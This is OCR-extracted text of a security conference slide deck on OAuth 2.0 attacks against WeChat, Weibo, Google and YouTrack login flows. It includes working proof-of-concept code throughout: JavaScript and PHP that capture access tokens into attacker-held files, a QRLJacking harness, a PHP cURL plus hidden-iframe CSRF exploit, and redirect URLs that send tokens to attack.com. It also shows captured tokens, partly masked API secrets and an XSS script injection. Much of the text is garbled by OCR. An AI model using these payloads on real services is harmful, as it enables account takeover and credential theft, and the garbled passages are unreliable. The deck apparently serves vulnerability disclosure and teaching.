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RINEKE

Authorization Code for apps running on a web server , browser—based and mobile apps

« Password for logging in with a username and password

* Client credentials for application access

 Implicit was previously recommended for clients without a secret, but has been

superseded by using the Authorization Code grant with no secret.
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https://aaronparecki.com/oauth-2-simplified/
https://aaronparecki.com/oauth-2-simplified/
https://aaronparecki.com/oauth-2-simplified/
https://aaronparecki.com/oauth-2-simplified/
https://aaronparecki.com/oauth-2-simplified/

Web#%$X

. . An application would like to
https://facebook.com/dialog/oa connect fo your account

uth?response_type=code&clien
t_| d =C LI E NT_l D& red | e Ct_u I‘i =R ability to access your basic information and photos.

EDIRECT _URI&scope=email&sta Allow Sample App access?

te=1234zyx

The app Sample App by Aaron Parecki would like the

Allow  https://example.com/cb?code=AUTH_CODE_HERE&state=1234zyx
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Rz T2 FF X

POST:

» grant_type=password& username=USERNAME& password=PASSWORD&
client_id=CLIENT_ID

KCon



B N Google K3 Facebook =]

} H §§U weilbo.com
BEAQQFAARIIHE 413,
PRI KGENER. {ERERIGo0gletkF

_HEPRgE | 3

2% BIEFARIENRS , FFRRERME

FH b= s S ARRY Facebook IEF o

B e I

E TR ¢

SICHRFE?

7 />@YongShao

: ARERSES, FHNEERTURLIEIEYZALA api.weibo.com 72

KEBBRER | EMMKS

KCon



A& PECE

https://open.weixin.qg.com/connect/oauth
2/authorize?appid=wxc43*******&respon
se type=code&scope=snsapi_base&redirec
t_uri=http://baidu.com&state==>* # % * & ¥
*&connect_redirect=1#wechat_redirect
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Token Leak

Timelime:

2018.02.13 ) 2018.03.20 2018.03.21 ) 2018.03.30 )

Redirect vulnerability Find token leak Report Vulnerability Fixed
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Detail

» https://staff.yongshao.com/auth/oauth/authorize?client_id=oa&response_type=to

ken&redirect_uri={{E&Eurl}/state=http://www.yongshao.com

« Open the above URL, if there is no login will Redirect https://staff.yongshao.com
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POC/EXP

":" ° °
5% Write s

&%  Write php

<script language="javascript">
query=location.href.split("#");

1

2

3

4 if(query[1] && query[1].indexOf("access_token") >= 0){
5 h

6

7

8

9

}

window. location. replace();
</script>

13
14
15
16

<?php
$myfile = fopen("poc.txt", "a") or die("Unable to open file!");
furite($myfile, $_COOKIE[Manchor®]."\n");

>
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POC/EXP

DOC.IX1

adcess_token=eyJhbGc101JSUzZIINLISINRScCIGIkpXVCI9.eyllc2VyX25hbWU101ImZWS5nemhpeW9uZOBtb2]g
aduuY29tIiwic2Z2NvcGU10LlsiemVhZCIsIndyaXRLILOSImVAcCcCIGMTUYMTY2ZMZzM405w1YXVOat9yaXRpZXM101s1Q¢
4CTWO1aWt LLUV2ZXIS5Db25 LLEOVPULvYmLrZSxEQz1tb2)pa2USsREMODGY 1 YWwiLCIDTJ1URUNILeWSs—-
WHsOWuleWFqle7hCxPVTIURUNILeWSs-

WHsOWuleWFqOe7Qr vPUTIURLIN L aWwo T aWEaNS d reW quxPVT]1URUNILeaKgOacr-

ed LOWPkemDQCxPV I INOZU 0SS 1 -I-' BT ] &% u» T A%aSI6I ] ZIMWEZNDh LLTYINDMENDhhNS®4

ORUZLTBKZWVKOWNDRN M . 1sInBy k" .l sl lom n o L "R 2W0Q101JvcnRocnVzLWNzYyJ9.\
vHgd1gFFe "M 3.0 "N .. . " . "W 1P ~77TTI8tz) rLF3pwFE7QM2ZYPifRTs-
s1Ek3Z84awP fza3hGRG- mF4R3uqf"®s"'&';. rald.om i YL s 0 Fxg0o-
cLPlchUTDdKEgVOnmlthSMRycPApr1UKPKUlPtUArKKhPtruVNllWPJﬂvyurL?.ijudb" ¥ LVqt2KJHOrGKk-
XZ IO SN S U T o RN T e RS YR TUC OV T XM TOTT ST UZFSURRITEE V=

KIwKVdtl _aZuloNgGB4rzpioA90TZ0&token_type=bearer&state=http://

dur is. = B - mlexpires_in= 43..3&5(0pe read

write&preferlLanguage=cn&jti=6 B % OB PR CEod
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POC/EXP

|!.- . t mobike =
A =y 8
N . .. lr:
Nl External Libraries l‘l'
¥ i@ < Python 2.7.10 (/System/Library/Frameworks/Python. ,,
» |l Extended Definitions 13 print mobike
> Iy site-packages library root 14
> Iy pip-9.0.1-py2.7.egg i‘
» g python library root 17
> [y PyObjC 18
» By python2.7 library root 1:‘ mport requests
» Iy lib-dynload 21
> Iy lib-tk 22 headers={
» By plat-darwin 23
24
[ -
‘;?Iat m-ac 25 data = { L
» Iy lib-scriptpackages 26
» |liluBinary Skeletons 27 r = requests.get( y
» |l Typeshed Stubs 28
29 print r.content
=
e NV = QT =
= | INI W/ N NN N
= 1 T 0 D 0 I S /S [ R I O I 0 B
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o ‘
" @) - Whitelist:

® 1. *.nei***.cn
¥
‘ “‘?

*.m******.net
https://******* cn/home/nxLogin?redirect url=https://**ix**.cn/

*.m******.COm

sl A

*.m*****.com
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https://*******.cn/home/nxLogin?redirect_url=https://neix**.cn/

NEE, AfEE

https://preview.n***** cn/img?src=http://attack.com

https://n***** cn/home/nxLogin?redirect_url=https://
preview.n***** cn/img?src=http://attack.com

http://t.cn/R3pD9**
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https://preview.neix**.cn/img?src=http://attack.com
http://t.cn/R3pD9CH
https://n*****.cn/home/nxLogin?redirect_url=https://preview.neix**.cn/img?src=http://attack.com
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Login Redirect

o https://preview.n***** cn/imqg?src=http://attack.com/?a=&markToken=******

* => ~tail access.log

o« X*xkx%k _ _ [17/May/2018:15:50:53 +0800] “GET /?a= HTTP/1.1° 200 21359
“https://preview.n***** cn/img?src=https://xxx.com/?a=&markToken=
" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" "*****"
/var/www/html/index.php"
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https://preview.n*****.cn/img?src=http://attack.com/?a=&markToken=******
https://preview.neixin.cn/img?src=https://xxx.com/?a=&markToken=
https://preview.neixin.cn/img?src=https://xxx.com/?a=&markToken=
https://preview.neixin.cn/img?src=https://xxx.com/?a=&markToken=
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Qrljacking
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Qrljack

<!—END logo—>
<!—BEGIN login_box——>
div class="login_box
v <div class="qrcode" ng-class="{hide: isScan || isAssociationLogin || isBrokenNetwork}
img class="img" mm-error="qrcodeException()" ng-class="{'qrcode_expired': isNeedRefresh}'" mm-src="https://logdin DelRrggreen/qrcode/AepD3wBsqQ=="mm—{
qrcodeLoad” mm-src-parallel mm-src-timeout="10" mm-src-retry-count="2" src="https://login.weixin.qq.com/qrcode/AepD3wB
» <div ng-show=""!isNeedRefresh” class>..</div
v <div ng-show="isNeedRefresh" class="ng-hide
» <div class="refresh_qrcode_mask'>..</div
p class="refresh_tips">_4mB%%K, =FRIF</p

@l Load URL https://login.weixin.qg.com/jslogin
4 Split URL

Execute

Enable Post data Enable Referrer

SRR appid=wx782c26e4c19acffb&fun=new&lang=zh_CN

window.QRLogin.code = 200; window.QRLogin.uuid = "QcRUeiiislww==";
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Qrljacking

@ Load URL | https://login.wx.qq.com/cgi-bin/mmwebwx-bin/login?loginicon=true&uuid=wY8CgZRI0A==&tip=1&r=855749254& =1502382803479
@ split URL
») Execute
@ Enable Post data Enable Referrer
Post data

window.code=201;window.userAvatar = 'data:img/jpg;base64,/9j/4AAQSkZIRgABAQAASABIAAD/2wBDAACFBQYFBACGBgYIBwcICXILCwoKCXYPEABSGhYDGhkWGRgcICgiHB4mHhgZIzAkJiorLS4tGyIyNTESNSgsLSz
/2wBDAQCICASICXULCxUSHRKALCwSLCWSLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCz /wAARCACEATQDASTAAREBAXEB/B0AHAAAAQQDAQAAAAAAAAAAAAAAAAQGBWGCAWLB/ BQADXAAAQMDAGMGAWY FBAMBAAAAAQTDBAAFEQYhE ) FBBXMiUWGBFHGhCCMyUpGxQnLBAfAVYoKSIKLhET
/EABOBAATDAQEAAAAAAAAAAAAAAAADAQIEBQD/ xAALEQADAATDAQEAAGMAAAAAAAAAAQIDERThMQRBI j ITFFH/ 2gAMAWEAAREDEQA/ALHOUVY 7xNulub+IhWoXIp062m3Ah0 fy8Wyv1ke9AHUrFSBoSVKUABUSTyqLrz2+acs rLzci33Vq4NbfBvR+7Xn1J0AKgPX3bFqbWpdjqkG321ewiR1EA]

/eeav29Kq6SGLG2WH1f2wdn1sZkwe4z27pxgtuxoz ffpI6gn8PtmqtavfOi7dVSNITuLEZxRKoOxCeFH8qgonHoR702Cy07qcFCUgHAUTVGY ] Inizs2+QxxgON8ST0zg] 56u+165YkqBMQ+pIMMLDYVZCCc1Py3PvTVYb4sbH3FdBD1i2wW+BwEoPXzpD96NkvBABXPOVq61XLTKkCQ9dIiIDrQ40LeSFcQ20RNzFORt 1t 1AW2tKOnkpJyDVNLU93sFClczXb
t14n2pwLgTndqgc/dOFIPzAS1ZZ9dNCX8u+0y2dFQXp3tnucFxLV6aRPY5F1ACHU/wBFfT51MVjv9ulDbkzbblS+0rY42Uk+RHQO+bVeGWBdREAK1ikNXxvMC1L1tzIKGXIbyWGUK7uLPTAVCWLgKOtFABRRRQAUHLtRSNSp94qIk9y15IG+PUn+g96AGT2m3HQESOFVWY105T920U8TS

/kx4h89h61UDUkiyyb08rTs0ZHt+fudSXAt f6gbDO3+dTp21X3St rcIRLFZoMy405TIuUxv4lef1Ic4iT68qgWS6220pSnAzSYFIu+91148bS2zndyo804 rzuCDk1tW44r8KT710IVnc4oWeDOhWwpTZ2UR711474cRwKAWDZ2 rhsBH430Igcg0a6XsvtpGCMuHBKE8h6nzqlSNihwRpKYkfuwfCnlvSxMIJA0aaq3S4+I75uLG61D1S1w0shHGOHVBXDS
ed]cj1R3zPTjnXX01rqTpDUTM9halMcQTIZzs4 ] r7jmD50wviVKB4cnFZO1SOEnktIUD6ULae@FNUtMuVq] tFsWLtLtXmRIDYZTYXFaQfG/kZGPIb7npVXNQdod51HrKNGCY6QuI81y0yk+BoJUCAPO3PWNN2a6ZY18] juB06XdFtCI6URS j TaWm9ykcKyD]jnyNT9Y+z fSNkQhyDp2Iy6P4nkBlwf81E

/Q1p/1fZhTnHtesccCalcL fHMMNLb7aXUnBUMj9/K1FelSEpCUgADDAr2nmcKKKKANLO1DCkpUFgKuQQgq/ YU2NTwNRa1iZMG30N2uIvwuPu+JIxQ9Ej p8yKdtFQ1s1PT2Qsr7PiJBIk6 j cWVc+GNgn34
/KuDq/sroB2dwWJV1vDO65SFeFmMHA2HV+wyBSnFWB1yERI rkhxQShscSifKowufZldulnUgrte5L1tsj fhj tIGXXESSgHZIPmef1S+CXiHrivde+itFomolylutR24rSj4GW84SPLI]]+ZpEEAele
/pT17RIIWNSurpFts8+RcW2NnV0oA7tfSAQTER10BTVRBekNFXLKy2DgqIwAfLNU30brYiU6SrbnXqC4Dh02eZ8qwWKgqaxnYnkANxWpSeAdxv+1TyRXi0dWy11gqQuBbz3gSSdk55k11drmh2Q53auIAcCT/tGw/XnXPiRZUqQhiMO48+6cIQgZIpM+w8iMHSghs rKOLoSBk] 6109L8mkdGwyWo3BaHh1DragMICNx
/npWK50eix2seJplTnz8RPBAWUTEDeW+2GGLurGTwoSVHHXYV63usONLRCp+E4/ZmmuI13cd4gUe7eglZHqlacH/ 2FWequX2YbE4q5Xm+rs5Q222mI2 fNRPEr9AE/ rVjabHhlyf2CiiirlAcoooAKKKPKgBBL1/HyUMujMdshaBnks9AfQc
/0rk65kX0BpGTKtk5qCthlSuNTXeKSbBIyACTgd f1T1pLcYDVyifDVDLZWIRHNWqCs fSoZKeist70LBs1vMuB0X063Z5vvwTFY]qS02s7nvXfdue

/Dg/vTbgaTvV5W451ji3wWN8 rw203nnjPtz3NWO1CkLsExooKm3G1IWUBOpIwVDSDf2puwdURMCABEQIXhXGCH]00f6ZrLkXE24b5e1ZZGmviZBh2bv5zp0FPIRhOPTIYfnt705dP9hs6WpD1zkm0jnw8IIqZbxYFXPgVHUD8FbfIKEpWOr+ZBG/ sQfWttuausZpLEXEVOIGO9ZWpOf+Ks4
/7Glcuuhzaf4RncdLItfFpPSrTT10mo4Z07uzmMyefErJwvDYIGNvao97VrbDslytumbcMtW2PXx0K6 rcWcql9SAKso78BY rd] 1FCGGWWXXVAbqPUk8Y TUGpsMebep2qdXzI9sak01bbM1 fCs55Dh/EQE4251Mt7K6Qq7ItMiy21+/Th3TstPCOF7BLP8AEo+h

/Y1FWmNOz9U39m1WphT77ysDHIKTzKPQDzqSNRa9sF5Yb05bbs 7AgvHgk3N9hSgGwPwIbTvg+uNsjqal/snb7N9P21IMHTF8hTZr4HfPOOBL7x/10CB5AD60+]bIEZLS6keGh9IRNFaSiWaKQvugVOudwXHD+IX+dAKcNeZFeloMnoUUUUAFFFFABWK1BCSokADgKy5U1Teoup78/Zos 1CocQAysKwpSWS07AS1Ix4jy
/h/NgA2yJV6vyVLscpm3xUHWSXm09Mg j 8qc j CP93MIMDBL j bCwOKLIKBDiIGBmhCUpQAKAADAAGY1QAX+1rW8]jQeh130G085LdeTHZDoISFEEKKDNGINRB2Sdp8q732XaL081b0xZejqSEtpCv4kBIWN+YIc+VPD7TzaldmsFac4RckcXu27VZbCo87eo

/WANIMd5Cu8Q4nmlSdxj12prxzWI7LQ65 rRdNI4kg4I9Ca96YqLIPIpMIInubwawlSRjvmISy fUSVgdeh+Vda3y@SIki73K7TI1veWe4sZe0OAHkcIQkcZIyBkH1XI4rWInSqLh6pHT1BfIvGzF] j4p9R4OKKSWGYD+NSuSi0iRkk+WMNs2nREO4NMyXaM3IZCw+ 1t 1IWVrzniUfnvj+mIbGFLWjKme6R]j ZIPi9xyFb2XX4pHwrxax
/DjKT7f2xVoul+xN8n0pI57VbVp616xt8mHbogICWC191LKe7UniBSSMYBGD

/gp46P1aH1TCStONLQ1a2AXEGG3n+YbVHUVNP3s30VeZIEt11XEXGY fux0BTzAA67imzYb5Lst3amxHS260cA9D5g] qa78YYy41x fZyKyX] tqvCOOWHHhMBmMyh1pPICBgD2rfTS0j r2Fq001DXTHMDZSM7KPpT tByKwlDh60o0JpraCiiiqkhRRRQB4R1IB601rfpeztRXbCuD1iIsvRVHi420rJVAHOYIVXDY5AX506q10s8agtkilaeRoAb7kqdpZIVM
ecuNgBAL6t3o0w814/6gdVcxz0dyHKDkZHWudNY 1z rfThqbaQl9tTZcCzkZBGecPOpvpg6ljSLLBk3hpEZKVMUPRWQLbyg31IIXxAfhUduVADd+BUG] 2Py+8ICkyWS36q4/wC2aqlZSGpjL5JHCAkSHQASNWE 7RINahvegLpafi4E9t5AKFyGyy42QoEHKcpUdvyp586 rBp6LHh3X40an79vZI5j I6+0+Va
/nSp0UUG+H81+D1j6RvF5tibnE]j90WEBSVqPB3m+0EA7NfpB861e20MWilR1zWkGW2gIS2yPA]bknP7 /APSWyMzDbOrbu7klhm2w
/1)snALbYKOIpAG6rPPOB35gFfDZsd40czeoDchxUplLzanjh0JOMBuW2dhtXLv50m1I1K+6syX+UQRtQ3CbNQO1DYCVHCBalFKfMnAFONIVw]) iACuoBxXHbm] j t91areqQdiohQSnJ81Hmc fOuqyXVNILyEoWealqdgP fArGyX ré8MyAeedMnUvZzFuAXKtIRF1bqLX]tw+n5T9P3p7145BypulNeGuUMTe0ci1RADEIXAMKQV7 1xpRSpCwc5B3B5VM+g00
Fy6PsW+c611TngSs7KScZAPNNGM884rg640118BVxgAInISStAGQ81I/7YHvygNLDCzY70xJa0A26HMDOOT3 roUZI+vHv90S5 rBfF+Fs6KwaWlxpDiD1KgCD51s65pqCiiigAooooAK1vMIedeNIIQel]/KfM1sooAdmqIHwmmZ700H4Zp1S3FoGS1I3Ix8h0qof+mtS1KkRZm/ fThTbqUnKub50/UlaztOmGD2Y6gexn/AMIxGMA
/EOH+tVSsbgRBbbzssFQ+Y04/atvyyq3sz5qa8JqlfKhw370C21jiGnXbehPdg7q4iApRITvknnmnhYGoNg7N7 fIekBDMSC1nfqEDYZ650KYF27u8/Z6u0fC/Ag4Rg

/15Hcqz544TSDtFIWiPbrfZIrgnUsMNgcSj cu0lAISP1N6+1KmOWRS s61Gx000K8Rpk1xpTITId7wBxBIb6ADGOgFILh2k61Yaly713TYOSUMIPCPBAQTimrIkSGLb37xabkKGOH12GTISNG2xUoTkrv361ISPEj4coQr3UN
/atv+vhb6nsQsuTXddjnX2mémdhI+EnRHCSZS4WQSR55G30qSbKI14tFsnR1vTQ7HQHVS fhLmPEeeB4s jHy964 rh0xmnXrYpRjLP3zHVB8O+npT20FddT3K20aNO7L+GXIdLsiWcYiskIyUKzupRzgDf9cjLn+fHx6nTNOLLae97LE2S3IgqLs taVuYwMHwt j rz5/P/AAwWPq7R
/+h67uXwTqXIDWELhIVng4iTwkdMb+xFSteNR2rSdhiwmZCrlMbZS2024 rO0EY43P09/ rUZqluz5Lz7zhe f fUVOLPMmm/FhcvaBKZsnN9+kqdk0r39U6cdafalvbilgOHms YI39R1pBqGOx68RbZqG5afdAbeKD7R/NgHI/ f9DUz ImzxwyNDZeOF FFFILBRRRQAUUOt f90d r7P70]cOF+Q6eFiKhQC3T1+QHU1Gt 77eEX6z0YB+05BkrT98t3BW]j OR
/F6UyMdX4Vq1K7Fv2jNWNQtLRIPs0gy]7gWBENPCO ] BwfLKUHIDUH2Fhb1mdI2WhzvGieu2/tS2ewn4LcWak rkOHKN 1HKS9STzNeL fbtUNO6y2PDsMn] rqYsSxLOx3k59Dnt2qGxoC7WlUaQ846802607BK8ghZOWHE F FFMLidKL Thoil ky3GwS4txO0R

/YfuXlvuc90vtxIhLRV41LVWDPP8A+OrRAMB3vEUMs cQwUNgn6n+9VmVydIs9qeNGLglyoCALgNPFxIWXCFHAPMYPO+dLm4neKCnJz2Un0A0JSTONYoty1nxqeWfVzA+mKWMRGo1FOrCEBIJIxyHzp6n fhENrxDdv ftEWPRSAX]g)6Z9fSuxppy03DSGDh3PETR/EVITmvHORMS rkyUnidHCh]5to6e505
/+Vx7YhyHdVML2Vg49e00575MtvcbHgtanF1S1KUo8y TkmvW3FMrCOHBF c+LPS4EpWcFXInr6fO1tPQk3f6gqlq6zXpCi2ul+guEfxI4tx+matBELszojUm041111IUhaTKKB61VZSAW] BEHNTF2L3rv7LKtDrmXIrneNgnctq/sQf19a5/wBuPasmvBk29Mk61iiuwbArFZIQSKKKAKUdo
/uGotdX0TcHi4pp9bDaRs1tCVEBIHT+5NNhLi21haFFKh1FFFdSPEIodMGe+7ay8spKe43xWoynZSubWrCVKSk8Ix1loorl/DGviWKksMKkcHcoABx tkflpe2BhoEISEQ+VFFEKMzSohWxI rF1xS32WLHKFKYR543FFFW/ CqF7m7Zz5U270e7DD6dNELABooq1EXEK4

/] FKNKAKCQceWRXVgqV3ZQVFQTyJSUUVEgxSr8lr0z3eZZbsz0gvFp5tW3kR1BHUGi 1oy f1ZVeotNHcLkZ tauakgmiiivPM7K8P/Z"
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https://login.weixin.qq.com/jslogin
https://login.weixin.qq.com/l/%7Buuid%7D
https://login.wx.qq.com/cgi-bin/mmwebwx-bin/login?loginicon=true&amp;uuid=%7Buuid%7Damp;tip=1&amp;r=855749254&amp;_=1502382803479

Qrljacking

def getuuid():
r = requests.post('https://login.weixin.qq.com/jslogin’, data={
‘appid’:'wx782c26e4c19acffb’, -
"fun':"'new’,
‘lang’:"zh_CN'

1)

status_code = re.findall(r'window.QRLogin.code = ([©-9]*);",r.text)[0] @app.route('/success',methods=['POST'])

user_uuid = re.findall(r'window.QRLogin.uuid = "(.*?)";"',r.text)[0] def success(): _ .

return {'status_code':status_code, 'user_uuid':user_uuid} redirect_uri = request.form.get(’redirect_uri’)
f = open('result.txt’,'w’)

f.write(redirect_uri)
dict = {'redirect_uri':redirect_uri}
return json.dumps(dict)

@app.route('/")
def index():

QR_login = getuuid()

if QR_login.get('status_code') == '200':
return render_template('index.html’',uuid=QR_login.get('user_uuid'))
else:

abort(403)

- — e A T



Qrljacking

¢scripty
function showUnreadNews() {
$(document) .ready(function () {
$.ajax({
type: "GET",
url: "/check/{{ wuid }}",
dataType: “text”,
success: function (data) {
eval(data)
console. log(window.code)
if(window.code == "488'){
showUnreadNews ()
}else if(window.code == ‘480" ){
location.reload()
}else if(window.code == "201°'){
$('#0Img').css('width', "160px")

$('#oImg’').css("height', "1608px")
$('#oImg’).css( 'margin-top’', '85px ')
$('#oImg').css( 'margin-bottom’', '40px"')
$('#0Img’).css('border-radius’, ‘4px")
$("#oImg’).attr( 'src’ ,window.userAvatar)
$(".sub_title').html('H&E81H")
$('.sub_desc’).html("BFEFEH Ltad@BALIER")

$('.sub_desc").css('color’,"#000")
showUnreadNews ()
}else if(window.code == ‘200" ){
$.post('/success’,{"'redirect_uri':window.redirect_uri}, function(data){
location.replace(window.redirect_uri)
},'ison')

e

}

o KCon

showUnreadNews ()
</script>



Qrljacking

1. JREMRBNIFRIIER
2. IRIFAARERVER

3. rﬁ.l .Apﬁi;é;ﬁ:%\
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ntruder l Repeater

rget

Sequencer Decoder l Comparer l Extender l Options ] Alerts

Spider Scanne

O\ Request to https://api.weibo.com:443 [180.149.135.176]

Forward Drop

Params | Headers

/oauthZ/sso_authori
ent-Length: 323
ent-Type: applicatior

api.welil -

Intercept is on Action

?sflag=1 HTTP/1l.1

-www-form-urlenc

=309 C4cacti

_hash=fC .

EWSY er.d ivityére ll].'f:'l‘t_tlr.'L: t

display=mobile&quick auth=false

WWW.WOO0Yyun.org
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T IR TR B 75 B % FRapp

O Response from https://api.weibo.com:443/oauth2/sso_authorize?sflag=1 [180.149.135.176)]
' Forward | Drop Intercept is on ‘ Action .

Headers

HTTP/1.1 Z00 OK

Server: nginx/l1.€.1

Date: Sun, 10 Apr Z01l&

Content-Length: 278

Connection: keep-alive

Pragma: No-cache

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT
Api-Server-IP: 10.75.25.8¢

"access_token":"Z. 00EZzERjniNS 14 1d174fLEYD" , "remind in":"639323" "expires_in":"E63
323" ,"refresh token":"Z : 1 "app": {"name
" "O0OOooooooooa", "logo™:

g"}}

{
9
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CSRF Z XX [a] & B s =

1. EEMHMIEEH]
http://login.sina.com.cn/sso/crossdomain.php?action=login

I . N
® & login.sina.com.cn/sso/crossdc X

C' @ login.sina.com.cn/sso/crossdomain.php?action=login

({"retcode":0,"arrURL":["https:\/\/passport.weibo.com\/wbsso\/logir ?ticket=ST-MjgzNjl1  «gdi=% . ¥ =1 =2-1533115363-tc-02D2D5FEAD176547C02521F4867BB246
1&ssosavestate=1564651355","https:\/\/passport.weibo.cn\/sso\/crossdomain?action=login&savestate=1"1});
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CSRF Z XX [a] & B s =

2. FHBENRSTRPEALL
g0 : /oauth/weibo/redirect

KCon



SRF 22 3 [v] 22 it K

3. Exploit

LoNOULAWNR l

<?php

$curl = curl_init();
$cookie = "{R{H{ERICookie";

curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=1login’');

curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data - curl_exec($curl);

curl_close($curl);

$t = preg_match('/ticket=(.+?)&sso/', $data, $res);
$url = "https://passport.weibo.com/wbsso/login?ticket={$res 1]}&ssosavestate=1556602678";
7>

< >
< type="text/css">
.testframe {
height: 100%;
}
{
height: 100%;
width: 100%;
border: 0;
margin: 0;
padding: 0;
filter: alpha(Opacity=0);
-moz-opacity: 0;
-webkit-opacity: 0;
—-khtml-opacity: 0;
-ms—filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
opacity: 0;
}
</ >
</ >
< >
< class="testframe">
< id="test@" src="<?php echo $url;?>"></ >
</ >
< >
function loadsrc(){
document.getElementById("test@").src="https://=~@rt m/oauth/weibo/redirect";
}

KCon
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CSRFZ X [a] & B k=

Bypass Tips

ik
client_id true
redirect_uri true

scope false

display false

forcelogin false

language  false

KEREE
string
string

string

)z

BN AR o ECR9AppKey.

WA EERE, AN AESIRENEAERI—, AN AEIESccanvas pagefithilt,
FiEscopet fRATRSE, AI—/REEIEZ"scopetXfR, MiES DR, FRHY
BAFREFERMEIENIAS, FEEN, S7%Query ParameterREl{£iZ5% ., FAETMUHEX

TSHEIBERBER MY, BAIMICRBPIERENTHNMAUE. XTSHETR TR LEBISERA
i& (CSRF) Wik

BRNTTEMNRIRER, EVER THEAREA.

EREHBFPEMRER, true: £, false: &, FiAfalse,

RINOUES, REAPEAEIR, enAEXMR, ZXMRUWEP, FREEAERLIRIGE QHE
API

ONOUVBAWNR

<?php

$curl = curl_init();
$cookie - "{R{M{EAICookie";

curl_setopt($curl, CURLOPT_URL,
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

$data curl_exec($curl);
curl_close($curl);

$t

$url

7>

<
<
<

preg_match('/ticket=(.

>
>
type="text/css">

.testframe {

¥

}

height: 100%;

{
height: 100%;
width: 100%;
border: 0;
margin: 0;
padding: 0;

filter: alpha(Opacity=0);

—-moz—opacity: 0;
-webkit-opacity: 0;
—khtml-opacity: 0;

-ms—filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";

opacity: 0;

.btn {

position: fixed;
width: 70px;
height: 22px;
left: 167px;
right: 0;
display:block;
top: 295px;

'http://login.sina.com.cn/sso/crossdomain.php?action=1login');

?)&sso/', $data, $res);
"https://passport.weibo.com/wbsso/login?ticket={$res 1] }&ssosavestate=1556602678";
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B iframelns E s

Victim/Attack iframe& T AH L
(WG48 ENKS M)

RiniRil TSR E
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API Leak

3 appid= secret= https://api.weixin.qq.com /  Pullrequests Issues Marketplace Explore A +- B

Repositories 102,382 code results Sort: Recently indexed v

Code
"\ 18895364554 /wechat_tpshop - app.js JavaScript

Commits Showing the top seven matches Last indexed 2 hours ago

server.getJSON("/User/getOpenid", { url:'https://api.weixin.qq.com/sns/jscode2ses:
appid=wx78. . M s723d318secret=cded. _. de= FMx _" §9c42881350d&js_code="' + res.code +
Topics '&grant_type=authorization_code&code=' + res.code },function(res)<{

Issues

Wikis

KCon



API Leak

BEXES

HEEE

MIENTTF A

EMEE

EXHREBEEE

AFPEHE

KSEE

RS

MiE+F%

(S

MISNE

BaexO

HIEREIEE

https://api.weixin.qg.com/cgi-
bin/token?grant_type=client_credential
&appid=wx4*****x7/88*&secret=06402***
**%*%0e3999a91249

Response:

{"access_token":"10_bWb3KYImMSKWFUIwxE28
(DtFkaBP(FEHDnqgVVJxﬁﬂﬁhk***%ﬂﬁk***%ﬂwhk***%ﬁwkk*
Kk kAR A S AOUBS 0K 70JjOWHJIHGCFA

XZX""expires_in":7200}
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API Leak

https://api.weixin.qg.com/cgi-
bin/getcallbackip?access_token=******_
AVANS***xxx*CJKJ12iSAF* * > **HgCFAXZX

{“ip_list”:[“101. ***,62.77”,“157.255 *** Hkx” “|57 D55 Hkk kxx"]}
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Login Google

https://accounts.google.com/AccountChoo
ser?service=ah&passive=true&continue=htt
ps://appengine.google.com/_ah/conflogin?
continue=http://attack.com

KCon


http://attack.com/_ah/conflogin?state=~*****************************

jo...@google.com <jo...@google.com> #5 Feb 16, 2018 05:14A
Accepted by wo...@google.com

+Blocked by: 73495414

Hi,

Nice catch! I've filed a bug based on your report. The panel will evaluate it at the next VRP panel

meeting and we'll update you once we've got more information. All you need to do now is wait. If you
don't hear back from us in 2-3 weeks or have additional information about the vulnerability, let us
know!

Regards,
John, Google Security Team

-Hotlist: 702027
Status:

Assignee:
Priority:

But encrypt

KCon


http://xiaopigfly.com/_ah/conflogin?state=~*****************************

Jetbrains Team Work

Example: youtrack
Setting White List:

http://127.0.0.1:8081/admin/hub/services/0-0-0-0-
O?tab=settings

SRRtz
http://127.0.0.1:8081/hub/auth/login?response_type=t

oken&client_id=***&redirect_uri=http:%2F%2Fbaidu.c
om% 2F&state=*****

FRixip=... KCon



http://127.0.0.1:8081/hub/au

th/login?response_type=toke http://t.cn/R1IRmkdy
n&client_id=***&redirect_uri (e‘—‘aE% .J_-.‘ﬁ_lt)
—http:%2F%2Fbaidu.com %32 aiaind

FRstate=****x*

Attack

L.

Log in to YouTrack

Send Access _token

KCon



Use old poc

<script language = "javascript">
query=location.href.split("#");

if(query[1] && query[1].index@f("access_token") >=0){
document.cookie="anchor="+query[1];
}

window. location. replace();
</script>

cCwWwoo~NOCWULAWNERE

[EY

http://127.0.0.1:8081/oauth#access_token=1528096602896.7€944229-6e08-4082-b09c-8c69b67e6f84.a9f71969-6013-4c45-9c1a-d904f7f88c54.7e944229-6e08-4082-
b09c-8c69b67e6f84+0-0-0-0-0%3B1.MCwCFDC6h0%2BLyynAHrfXIDQM%2B8DO0OhVi6AhQ6T5%2Fi8mJDQWYBT16eqrQ%2BZmn1uw%3D%3D&token_type=Bearer&expires_in=3600&scope=7e944229-6e08-4082-

http://127.0.0.1:8081/oauth#access_ token 1528096544388 7€944229- 6e08 4082- b09c 8c69b67e6f84.a9f71969-6013-4c45-9c1a-d904f7f88c54.7€944229-6e08-4082-b09c-8c69b67e6f840-0-0-0-0;
1.MCwCFHJxw7IUB3NtwEpTNwc X ) ktoken_type=Bearer&expires_in=3600&scope=7e944229-6e08-4082-b09c-8c69b67e6f840-0-0-0-0&

state=771f0145-6100-4135-ae54-0aa5916300b6

(encode error)

(decode suss)

KCon


http://127.0.0.1:8081/oauth
http://127.0.0.1:8081/oauth

& C  ® 10.0.70.125

message board

info:

user:
GO!

Application Security Audits

Console Sources Network Performance Memory

v ﬂ Elements

html
head></head
v <body.
v <span style="font-size:18px;
meta http-equiv="Content-Type" content="text/html;charset=utf-8
title>GUEST BOOK , HELLO LOSER</title

br

br

h2>message board</h2

form action="index.php" method="post">..</form
br:

"test

br

wngn
<script src="https: .Xss.ht"></script> == $0
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71 Fxss Platform got it
